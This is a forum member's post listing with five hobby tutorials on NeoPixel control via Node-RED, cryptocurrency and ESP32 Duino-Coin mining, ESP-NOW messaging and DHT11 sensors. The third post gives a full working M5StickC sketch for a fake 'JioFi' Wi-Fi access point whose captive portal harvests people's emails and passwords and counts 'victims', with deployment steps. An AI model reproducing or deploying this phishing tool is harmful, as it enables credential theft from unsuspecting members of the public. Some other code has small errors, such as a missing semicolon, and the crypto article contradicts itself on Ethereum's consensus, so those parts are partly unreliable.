Jump to content
Electronics-Lab.com Community

CETECH

Members
  • Posts

    33
  • Joined

  • Last visited

  • Days Won

    2

Everything posted by CETECH

  1. Things used in this project Hardware components Raspberry Pi 4 Model B × 1 Adafruit NeoPixel Ring: WS2812 5050 RGB LED × 1 Software apps and online services Node-RED How to Control NeoPixel LEDs with Node-RED and Raspberry Pi NeoPixel LEDs are a popular type of addressable RGB LEDs that can create amazing effects and animations. They are easy to control with a microcontroller like Arduino, but what if you want to use them with a Raspberry Pi? In this article, we’ll show you how to use Node-RED, a graphical programming tool, to control NeoPixel LEDs with a Raspberry Pi. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. What You’ll Need To follow this tutorial, you’ll need the following components: A Raspberry Pi board with Raspbian OS installed A WS2812B NeoPixel LED strip Some jumper wires You’ll also need to install Node-RED and the node-red-node-pi-neopixel node on your Raspberry Pi. We’ll explain how to do that later. Wiring the NeoPixel LED Strip The NeoPixel LED strip has three wires: 5V, GND, and DATA. The 5V and GND wires provide power to the LEDs, while the DATA wire carries the signal that controls the color and brightness of each LED. The Raspberry Pi can provide 5V and GND from its GPIO pins and connect the DATA pin to GPIO 18. The reason we use GPIO 18 is because it supports PWM (pulse-width modulation), which is needed by the node-red-node-pi-neopixel node. You can use other PWM-enabled GPIO pins, but you’ll need to change the settings accordingly. Installing Node-RED and node-red-node-pi-neopixel Node-RED is a graphical programming tool that lets you create applications by connecting nodes that perform different functions. You can install Node-RED on your Raspberry Pi by following this guide. To control the NeoPixel LEDs with Node-RED, you need to install a special node called node-red-node-pi-neopixel. This node can drive a strip of NeoPixel or WS2812 LEDs from a Raspberry Pi. You can install it by running the following command. npm install node-red-node-pi-neopixel You also need to install the Neopixel python driver, which is used by the node-red-node-pi-neopixel node. The easiest way to do that is to use the Unicorn HAT drivers install script, which you can run with this command: After installing node-red-node-pi-neopixel, you need to restart Node-RED for the changes to take effect. Creating a Node-RED Flow Now that everything is set up, you can create a Node-RED flow to control the NeoPixel LEDs. A flow is a collection of nodes that are connected by wires. Each node has an input and an output and can perform some action or function. To create a flow, you need to open the Node-RED editor in your web browser. By default, it runs on port 1880 of your Raspberry Pi’s IP address. For example, if your Raspberry Pi’s IP address is 192.168.1.3, you can access the Node-RED editor at http://192.168.1.3:1880. In the editor, you’ll see a palette of nodes on the left side, a workspace in the middle, and an info panel on the right side. You can drag nodes from the palette to the workspace and connect them by dragging wires from one node’s output to another node’s input. Here’s an example of a neo-pixel flow that controls the LEDs based on our user inputs. To create this flow, you need to do the following steps: Drag Copy and import the below JSON node-red flow. Change the LED count JSON Files: [ { "id": "60627e22237dc214", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "f0395033145e84d7", "type": "ui_colour_picker", "z": "60627e22237dc214", "name": "Color Picker", "label": "COLOR PICKER", "group": "cd687a95.00e108", "format": "rgb", "outformat": "string", "showSwatch": true, "showPicker": true, "showValue": true, "showHue": false, "showAlpha": false, "showLightness": true, "square": "false", "order": 1, "width": 0, "height": 0, "passthru": true, "topic": "", "topicType": "str", "x": 490, "y": 380, "wires": [ [ "f6f366218f267026" ] ] }, { "id": "f6f366218f267026", "type": "function", "z": "60627e22237dc214", "name": "Set Color", "func": "var count = global.get('count')||0;\nmsg.payload = msg.payload.replace(/[rgb()\\s]/g,\"\");\nif(count===0){\n msg.payload = msg.payload;\n}\nelse{\n msg.payload = (count-1) + \",\" + msg.payload;\n}\n\nreturn msg;", "outputs": 1, "noerr": 0, "x": 680, "y": 380, "wires": [ [ "b4a4a424433ab3a2" ] ] }, { "id": "cc6b4172d7245dfd", "type": "function", "z": "60627e22237dc214", "name": "Rainbow Effect", "func": "var numberOfLEDs = 8;\nvar i;\nvar j;\n\nif (msg.payload==1)\n{\n for (i = 0; i < 255; i++) {\n\n for (j = 0; j < numberOfLEDs; j++) {\n\n var pos = 0;\n pos = Math.round(((j * 255 / numberOfLEDs) + i)) & 255;\n\n if (pos < 85) {\n var red = pos * 3;\n var green = 255 - pos * 3;\n var blue = 0;\n }\n else if (pos < 170) {\n pos -= 85;\n var red = 255 - pos * 3;\n var green = 0;\n var blue = pos * 3;\n }\n else {\n pos -= 170;\n var red = 0;\n var green = pos * 3;\n var blue = 255 - pos * 3;\n }\n var setColor = j + ',' + red + ',' + green + ',' + blue;\n node.send({ payload: setColor });\n }\n }\n}\nelse { \n msg.payload = \"0,0,0\"\n}\n\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 700, "y": 440, "wires": [ [ "b4a4a424433ab3a2" ] ] }, { "id": "b4a4a424433ab3a2", "type": "rpi-neopixels", "z": "60627e22237dc214", "name": "Neo Pixel", "gpio": "18", "pixels": "8", "bgnd": "", "fgnd": "", "wipe": "60", "mode": "pixels", "rgb": "rgb", "brightness": "100", "gamma": true, "x": 900, "y": 420, "wires": [] }, { "id": "125d1e66ad34b180", "type": "ui_switch", "z": "60627e22237dc214", "name": "", "label": "Rainbow switch", "tooltip": "", "group": "cd687a95.00e108", "order": 3, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 500, "y": 440, "wires": [ [ "cc6b4172d7245dfd" ] ] }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "Neo Pixel Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] Neo Pixel Node Setup: Select the PIN and change the LED count as per your neo-pixel configuration. Deployment Setup: Next hit the deployment button and navigate to the UI page of the Node-red with /ui in the node-red page URL. You can select the LED color via the neo-pixel circle. Also, if you toggle the rainbow switch it will apply the rainbow effect to the ring. Conclusion In this article, I have shown you how to control NeoPixel LEDs with Node-RED and Raspberry Pi.
  2. Cryptocurrency: A New Era of Money Money is one of the most important inventions in human history. It is a medium of exchange, a store of value, and a unit of account. Money enables trade, commerce, and economic growth. However, money also has its limitations and challenges. For example, money can be counterfeited, stolen, or inflated. To overcome these problems, some people have invented a new form of money: cryptocurrency. Cryptocurrency is a type of digital currency that uses cryptography to secure and verify transactions. Cryptocurrency is decentralized, meaning that it is not controlled by any central authority or government. Cryptocurrency transactions are recorded on a distributed ledger called a blockchain, which ensures transparency and immutability. Some examples of cryptocurrencies are: Bitcoin: The first and most popular cryptocurrency, created in 2009 by an anonymous person or group using the pseudonym Satoshi Nakamoto. Bitcoin has a limited supply of 21 million coins and uses a proof-of-work algorithm to validate transactions and create new blocks. Ethereum: A platform that allows developers to create decentralized applications (dApps) and smart contracts using its native cryptocurrency, ether. Ethereum uses a proof-of-stake algorithm to secure its network and enable faster transactions. Cryptocurrencies have many advantages over traditional money. They are: Secure: Cryptocurrencies use cryptography to protect transactions from fraud and hacking. Cryptocurrencies also have no single point of failure, as they are distributed across many nodes on the network. Transparent: Cryptocurrencies allow anyone to view the history and details of every transaction on the blockchain. Cryptocurrencies also have no hidden fees or charges, as they are based on peer-to-peer transactions. Inclusive: Cryptocurrencies enable anyone with an internet connection and a digital wallet to access the global financial system. Cryptocurrencies also have no barriers to entry or discrimination, as they are open to anyone regardless of their identity or location. Innovative: Cryptocurrencies foster innovation and creativity, as they allow developers to create new applications and services using blockchain technology. Cryptocurrencies also have the potential to disrupt various industries and sectors, such as banking, e-commerce, healthcare, education, and more. Cryptocurrencies are not without challenges and risks, however. They are: Volatile: Cryptocurrencies are subject to high price fluctuations due to supply and demand dynamics, market sentiment, regulatory uncertainty, and technical issues. Cryptocurrencies can also be affected by external factors, such as geopolitical events, cyberattacks, media coverage, and public opinion. Complex: Cryptocurrencies require a steep learning curve for users to understand how they work and how to use them safely and effectively. Cryptocurrencies also involve technical jargon and concepts that may be confusing or intimidating for beginners. Unregulated: Cryptocurrencies operate in a legal gray area, as they are not recognized or regulated by most governments and authorities. Cryptocurrencies may face legal restrictions or bans in some areas, which may limit their adoption and usage. Cryptocurrencies may also pose ethical and social issues, such as tax evasion, money laundering, terrorism financing, and environmental impact. Cryptocurrency is a new era of money that offers many opportunities and challenges for the future. Cryptocurrency is not just a technology or a currency; it is a social phenomenon that reflects the values and aspirations of its users. Cryptocurrency is not perfect or flawless; it is an experiment that evolves and improves over time. Cryptocurrency is not for everyone or everything; it is a choice that depends on one’s preferences and needs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Crypto mining: It is the process of creating new units of cryptocurrency by solving complex mathematical problems. Crypto mining is essential for securing and verifying transactions on the blockchain, which is a distributed ledger that records the history and details of every transaction. Crypto mining also rewards miners with newly minted coins, which increases the supply and circulation of cryptocurrency. There are several types of crypto mining, depending on the algorithm and consensus mechanism used by the cryptocurrency network. The most common type is proof-of-work (PoW) mining, which requires miners to use their computing power to compete to find the solution to a cryptographic puzzle. The first miner who solves the puzzle gets to add a new block to the blockchain and claim the block reward. Some examples of cryptocurrencies that use PoW mining are Bitcoin, Ethereum, Litecoin, and Monero. Another type of crypto mining is proof-of-stake (PoS) mining, which requires miners to stake a certain number of coins to participate in the validation process. PoS mining does not involve solving puzzles but rather selecting validators based on their stake and other factors. Validators then take turns to propose and confirm new blocks and receive rewards based on their stake and performance. Some examples of cryptocurrencies that use PoS mining are Cardano, Polkadot, Binance Coin, and Tezos. Crypto mining can be profitable or unprofitable, depending on several factors such as the price of the cryptocurrency, the difficulty of the mining algorithm, the cost of electricity and hardware, and the competition from other miners. Crypto mining can also have environmental and social impacts, such as energy consumption, carbon emissions, waste generation, noise pollution, and regulatory issues. If you want to mine cryptocurrency, you will need some specialized hardware that can perform complex calculations and consume a lot of electricity. There are several types of hardware for mining different cryptocurrencies, but the most common ones are ASIC (application-specific integrated circuit) devices, which are designed to mine a specific algorithm or coin. Some of the best ASIC devices for mining cryptocurrency in 2023 are: Antminer S19 Pro: This is one of the most powerful and efficient Bitcoin mining hardware, with a hash rate of 110 TH/s and a power consumption of 3,250 W. WhatsMiner M30S++: This is another top Bitcoin mining hardware, with a hash rate of 112 TH/s and a power consumption of 3,472 W. AvalonMiner 1246: This is heavy-duty Bitcoin mining hardware, with a hash rate of 90 TH/s and a power consumption of 3,420 W. WhatsMiner M32-62T: This is a new Bitcoin mining hardware, with a hash rate of 62 TH/s and a power consumption of 3,360 W. You can see these are some of the high-power and costly miners, also their power consumption is extremely high. In this tutorial, you will see how to mine crypto with low-power ESP32 microcontrollers. Duco Coin: A Simple and Eco-Friendly Crypto Coin Duco coin is a unique crypto coin that can be mined using low-powered devices, such as Arduino boards, ESP32, Raspberry Pi, and even old computers. Duco coin aims to provide a simple, accessible, and eco-friendly way of participating in the crypto world, without the need for expensive and energy-intensive hardware. Duco coin uses its own blockchain and consensus algorithm, called DUCO-S1, which is based on SHA-1. DUCO-S1 is designed to be fast, secure, and adaptable to different devices and mining methods. Duco coin also uses a reward system called theKolka system, which adjusts the mining difficulty and rewards based on the device’s performance and network conditions. The Kolka system ensures that low-powered devices have a fair chance of earning coins while preventing abuse and spam. The Duco coin has an infinite supply of coins, but it also has a burning mechanism that reduces circulation by destroying some coins every time a transaction is made. This creates a balance between inflation and deflation and maintains the value of the coin. The Duco coin also has no transaction fees, as the miners are rewarded by the Kolka system. The Duco coin is a crypto coin that offers many advantages over traditional coins. It is: Simple: Duco coin is easy to mine, use, and understand. It does not require any complex setup or configuration. It also has a user-friendly web wallet and a mobile app that allows users to manage their funds and transactions. Eco-friendly: Duco coin is environmentally friendly, as it uses low-powered devices that consume minimal electricity and generate less heat and noise. It also reduces electronic waste by giving new life to old devices. Inclusive: Duco coin is inclusive, as it enables anyone with an internet connection and a cheap device to join the crypto world. It also has no barriers to entry or discrimination, as it is open to anyone regardless of their identity or location. Innovative: Duco coin is innovative, as it fosters creativity and experimentation among its users and developers. It also has the potential to disrupt various industries and sectors, such as education, gaming, IoT, and more. Duco coin is a new era of crypto coin that offers simplicity, sustainability, accessibility, and diversity. Duco coin is not just a technology or a currency; it is a community that shares the same vision and values. How to mine Duco coin with ESP32: To mine Duco coin with ESP32, you will need the following steps: Step 1: Register an account on the Duino-Coin website and create a wallet. You will need your username and wallet address for mining. Step 2: Download and install the Arduino IDE and the ESP32 board support package. You will also need to install some libraries, such as WiFiClientSecure, ArduinoJson, and DHT (if you want to use a DHT sensor). Step 3: Download the Duino-Coin ESP32 code from GitHub and open it in the Arduino IDE. Edit the code to enter your Wi-Fi name, password, username, and mining key (if you enabled it in the wallet). You can also change the rig identifier and the LED pin if you want. Step 4: Connect your ESP32 board to your computer via a USB cable and select the correct port and board settings in the Arduino IDE. Upload the code to your ESP32 board and wait for it to connect to the Duino-Coin server. Step 5: You can monitor your mining status and earnings on the Duino-Coin web wallet or the mobile app. You can also use the serial monitor in the Arduino IDE to see the debug messages from your ESP32 board. That’s it! You are now mining Duco coin with your ESP32 board. You can also use multiple ESP32 boards or other devices, such as Arduino, Raspberry Pi, or PC, to increase your hash rate and earnings. However, be aware of the Kolka system, which adjusts the mining difficulty and rewards based on your device’s performance and network conditions.
  3. Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "&lt;"); a.replace(">", "&gt;"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.
  4. In the previous two tutorials, we have seen how to get started with ESPNOW and how to transmit DHT11 sensor data via ESPNOW. This tutorial will show how to control physical devices like LED, Relay, or other electrical & electronic applications. Things that we need: You need two ESP32 Dev boards, that's all. ESP32 Dev boards have already been equipped with an onboard LED. So, we can just try to control them via ESPNOW. Also, you can add an external LED to the digital pins, and we can control them. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step:1 Transmitter Node Setup First, we need to build our controller. We already know how to get the MAC address of our receiver node. Use the sketch below to get the MAC Address of the receiver. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Just upload this Arduino sketch to the transmitter node, and make sure that you have modified the MAC address in the sketch. #include <esp_now.h> #include <WiFi.h> //----------------------------------------Defines PIN Button and PIN LED. #define LED_Pin 4 #define BTN_Pin 15 //---------------------------------------- int BTN_State; //--> Variable to hold the button state. uint8_t broadcastAddress[] = {xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}; int LED_State_Send = 0; int LED_State_Receive; String success; //Must match the receiver structure typedef struct struct_message { int led; } struct_message_send; struct_message send_Data; // Create a struct_message to send data. struct_message receive_Data; // Create a struct_message to receive data. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); if (status ==0){ success = "Delivery Success :)"; } else{ success = "Delivery Fail :("; } Serial.println(">>>>>"); } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Callback when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&receive_Data, incomingData, sizeof(receive_Data)); Serial.println(); Serial.println("<<<<< Receive Data:"); Serial.print("Bytes received: "); Serial.println(len); LED_State_Receive = receive_Data.led; Serial.print("Receive Data: "); Serial.println(LED_State_Receive); Serial.println("<<<<<"); digitalWrite(LED_Pin, LED_State_Receive); } //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void setup() { Serial.begin(115200); pinMode(LED_Pin, OUTPUT); pinMode(BTN_Pin, INPUT); WiFi.mode(WIFI_STA); //--> Set device as a Wi-Fi Station //----------------------------------------Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } //-------------------------------------- // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); //----------------------------------------Register peer esp_now_peer_info_t peerInfo; memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false //----------------------------------------Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } //---------------------------------------- esp_now_register_recv_cb(OnDataRecv); //--> Register for a callback function that will be called when data is received } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void loop() { BTN_State = digitalRead(BTN_Pin); //--> Reads and holds button states. //----------------------------------------When the button is pressed it will send data to control the LED on the ESP32 Target. if(BTN_State == 1) { LED_State_Send = !LED_State_Send; send_Data.led = LED_State_Send; Serial.println(); Serial.print(">>>>> "); Serial.println("Send data"); //----------------------------------------Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &send_Data, sizeof(send_Data)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } //----------------------------------------Wait for the button to be released. Release the button first to send the next data. while(BTN_State == 1) { BTN_State = digitalRead(BTN_Pin); delay(10); } } } Step:2 Receiver Node Setup: We have already built our transmitter; next, we need to set up our receiver node. Just upload the below Arduino sketch to build a receiver to get data from the transmitter and based on the input data it will glow the led. #include <esp_now.h> #include <WiFi.h> //----------------------------------------Defines PIN Button and PIN LED. #define LED_Pin 4 #define BTN_Pin 15 //---------------------------------------- int BTN_State; //--> Variable to hold the button state. uint8_t broadcastAddress[] = {xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}; //--> REPLACE WITH THE MAC Address of your transmitter. ESP32 A int LED_State_Send = 0; //--> Variable to hold the data to be transmitted to control the LEDs on the paired ESP32. int LED_State_Receive; //--> Variable to receive data to control the LEDs on the ESP32 running this code. String success; //--> Variable to store if sending data was successful //----------------------------------------Structure example to send data //Must match the receiver structure typedef struct struct_message { int led; } struct_message_send; struct_message send_Data; // Create a struct_message to send data. struct_message receive_Data; // Create a struct_message to receive data. //---------------------------------------- void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); if (status ==0){ success = "Delivery Success :)"; } else{ success = "Delivery Fail :("; } Serial.println(">>>>>"); } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&receive_Data, incomingData, sizeof(receive_Data)); Serial.println(); Serial.println("<<<<< Receive Data:"); Serial.print("Bytes received: "); Serial.println(len); LED_State_Receive = receive_Data.led; Serial.print("Receive Data: "); Serial.println(LED_State_Receive); Serial.println("<<<<<"); digitalWrite(LED_Pin, LED_State_Receive); } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void setup() { Serial.begin(115200); pinMode(LED_Pin, OUTPUT); pinMode(BTN_Pin, INPUT); WiFi.mode(WIFI_STA); //--> Set device as a Wi-Fi Station if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } //---------------------------------------- // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); //---------------------------------------- esp_now_peer_info_t peerInfo; memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; //---------------------------------------- //----------------------------------------Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } //---------------------------------------- } void loop() { BTN_State = digitalRead(BTN_Pin); //--> Reads and holds button states. //----------------------------------------When the button is pressed it will send data to control the LED on the ESP32 Target. if(BTN_State == 1) { LED_State_Send = !LED_State_Send; send_Data.led = LED_State_Send; Serial.println(); Serial.print(">>>>> "); Serial.println("Send data"); //----------------------------------------Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &send_Data, sizeof(send_Data)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } //---------------------------------------- while(BTN_State == 1) { BTN_State = digitalRead(BTN_Pin); delay(10); } } Output Data: Here is the serial monitor data from the transmitter, once you press the transmitter button it will send the command to the receiver node. If it is received by the receiver it will mark as a success. Here is the serial monitor data from the receiver, once the command from the transmitter is received by the receiver it will show the data and start to glow the led. Wrap-Up: In final words, now we know how to transmit the sensor data also how to control the appliances. Based on these we can easily build a home automation system. In upcoming tutorials, will see how to build a home automation system with ESPNOW.
  5. 14 Things used in this project Hardware components Espressif ESP32 × 2 DHT11 Temperature & Humidity Sensor (4 pins) × 1 Software apps and online services Arduino IDE Story In this tutorial will guide you to transfer the DHT11 sensor data from ESP32 with the help of ESP-NOW protocol, all will receive the same DHT11 data in another ESP32 board using same ESP-NOW protocol. Things needed: ESP32 DHT11 Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step1: Installing DHT11 Libraries To interface the DHT11 sensor, we’ll use the DHT library from Adafruit. To use this library you also need to install the Adafruit Unified Sensor library. Follow the next steps to install those libraries. Open your Arduino IDE and go to Sketch > Include Library > Manage Libraries. The Library Manager should open. Search for “DHT” in the Search box and install the DHT library from Adafruit. After installing the DHT library from Adafruit, type “Adafruit Unified Sensor” in the search box. Scroll all the way down to find the library and install it. That's all let's test the DHT11. Step2: DHT11 with ESP32 Connect the DHT11 data pin to esp32 pin 12, and just upload the code. Then wait for the serial monitor results. Here is the serial monitor results. Okay, now everything is good. #include "DHT.h" #define DHTPIN 12 // Digital pin connected to the DHT sensor #define DHTTYPE DHT11 // DHT 11 DHT dht(DHTPIN, DHTTYPE); void setup() { Serial.begin(9600); Serial.println(F("DHTxx test!")); dht.begin(); 